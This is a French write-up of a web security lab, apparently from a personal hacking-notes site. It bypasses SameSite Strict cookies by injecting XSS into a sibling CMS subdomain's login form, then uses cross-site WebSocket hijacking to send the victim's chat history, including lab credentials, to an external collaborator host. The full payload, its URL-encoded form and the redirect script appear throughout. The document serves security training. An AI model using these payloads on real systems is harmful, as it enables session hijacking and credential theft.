> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/csrf/samesite-strict-bypass-via-sibling-domain.md).

# Contournement SameSite Strict via domaine frère

### Contournement de SameSite Strict via un domaine frère

Labo : La fonctionnalité de chat en direct est vulnérable au détournement de WebSocket intersites (CSWSH). L'objectif du labo est d'accéder au compte de la victime en extrayant l'historique du chat vers le serveur Burp Collaborator par défaut ; l'historique contient des identifiants en clair.

Utilisez le serveur d'exploitation fourni pour lancer une attaque CSWSH qui exfiltre l'historique du chat de la victime.

<figure><img src="/files/84458973f964250c0bdaff4286521791f2cc737f" alt=""><figcaption></figcaption></figure>

Le chat fonctionne via WebSocket et l'historique y transite.

<figure><img src="/files/28839e66e16a202fa07d77034d36fd3c1fc061aa" alt=""><figcaption></figcaption></figure>

Le cookie de session est envoyé avec SameSite (ce qui bloque les scénarios classiques de redirection intersites).

<figure><img src="/files/768680f354625cb609c9d5b0d3d408c477215099" alt=""><figcaption></figcaption></figure>

Le fichier JavaScript côté client (par ex. `chat.js`) est chargé depuis un sous-domaine du CMS qui renvoie un `Access-Control-Allow-Origin` en-tête autorisant l'interaction depuis ce sous-domaine.

<figure><img src="/files/7a7aefd779052b1dbba4b322db3f86d6b2332d6c" alt=""><figcaption></figcaption></figure>

Le panneau d'authentification du CMS est vulnérable à l'injection de script via le `le nom d'utilisateur` paramètre (par ex. `?username=<script>alert(0)</script>&password=test`).

<figure><img src="/files/4144e3a8a7b944b95dce02f8394a27a3aaf09dbf" alt="" width="375"><figcaption></figcaption></figure>

```javascript
<script>alert(0)</script>
```

<figure><img src="/files/134492bbe066324578942ceaed92d24269fe66dd" alt=""><figcaption></figcaption></figure>

```
/login?username=<script>alert(0)</script>&password=test
```

<figure><img src="/files/d2984798fc5b525e4a7a2b1937c0120276fbb72c" alt=""><figcaption></figcaption></figure>

Grâce à cette injection, vous pouvez exécuter du JavaScript dans le contexte du sous-domaine vulnérable, établissant ainsi un WebSocket authentifié (les cookies sont alors envoyés, puisque l'origine est la même) vers le serveur de chat.

### Approche (résumé)

1. Placez un script malveillant dans le `le nom d'utilisateur` paramètre du formulaire de connexion du sous-domaine du CMS.
2. Ce script ouvre une connexion WebSocket au serveur de chat et envoie un `READY` signal.

{% code overflow="wrap" %}

```javascript
<script>
  var ws = new WebSocket("https://0a5900a203763a50c2810c7a0074009d.web-security-academy.net/chat");

  ws.onopen = function() {
    ws.send("READY");
  };

  ws.onmessage = function(info) {
    fetch("https://68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com/?data=" + btoa(info.data));
  };
</script>
```

{% endcode %}

3. Lors de la réception des messages du WebSocket (historique du chat), le `fetch` script encode ces données (base64) vers un serveur contrôlé par l'attaquant (OAST/Oastify).

```bash
/?data=eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9
```

<figure><img src="/files/93f577fd593f3d95c390aa5b7928f415adf8a43b" alt=""><figcaption></figcaption></figure>

Hébergez/servez une redirection sur le serveur d'exploitation pour inciter la victime à visiter l'URL vulnérable (connexion avec `le nom d'utilisateur` contenant le script).

```bash
echo "eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9" | base64 -d
```

#### Résultats observés

* Lorsque la requête exfiltrée a été reçue, le `données` paramètre contenait une chaîne base64 ; en la décodant, on obtient l'entrée du chat.
* Exemple de charge utile reçue (décodée en base64) :

```json
{"user":"CONNECTÉ","content":"-- En train de discuter avec Hal Pline --"}
```

<figure><img src="/files/3399de09d9b8c29db5035ce4bdfd2e7bc186dcce" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/408a91d4f1cbc2c553b4a2eb73672a8a40b8d663" alt=""><figcaption></figcaption></figure>

En injectant depuis le contexte authentifié (sous-domaine du CMS), le script a transmis des messages contenant les conversations des utilisateurs et, dans ce cas, un message contenant les identifiants en clair.

{% code overflow="wrap" %}

```
https://cms-0a5900a203763a50c2810c7a0074009d.web-security-academy.net/login?username=%3Cscript%3E+++var+ws+%3D+new+WebSocket%28%22https%3A%2F%2F0a5900a203763a50c2810c7a0074009d.web-security-academy.net%2Fchat%22%29%3B++++ws.onopen+%3D+function%28%29+%7B+++++ws.send%28%22READY%22%29%3B+++%7D%3B++++ws.onmessage+%3D+function%28info%29+%7B+++++fetch%28%22https%3A%2F%2F68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com%2F%3Fdata%3D%22+%2B+btoa%28info.data%29%29%3B+++%7D%3B+%3C%2Fscript%3E&password=ef
```

{% endcode %}

{% code overflow="wrap" %}

```javascript
<script>
  location="https://cms-0a5900a203763a50c2810c7a0074009d.web-security-academy.net/login?username=%3Cscript%3E+++var+ws+%3D+new+WebSocket%28%22https%3A%2F%2F0a5900a203763a50c2810c7a0074009d.web-security-academy.net%2Fchat%22%29%3B++++ws.onopen+%3D+function%28%29+%7B+++++ws.send%28%22READY%22%29%3B+++%7D%3B++++ws.onmessage+%3D+function%28info%29+%7B+++++fetch%28%22https%3A%2F%2F68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com%2F%3Fdata%3D%22+%2B+btoa%28info.data%29%29%3B+++%7D%3B+%3C%2Fscript%3E&password=ef";
</script>
```

{% endcode %}

#### Identifiants extraits (comme indiqué)

* `carlos:hdf3fkk8h7tnltupqs5t` (identifiants trouvés dans l'historique du chat)

{% code overflow="wrap" %}

```json
{"user":"Hal Pline","content":"Pas de problème carlos, c'est hdf3fkk8h7tnltupqs5t"}
```

{% endcode %}

<figure><img src="/files/14e430566d107a330be6081506ce5ed351be4c3f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/csrf/samesite-strict-bypass-via-sibling-domain.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
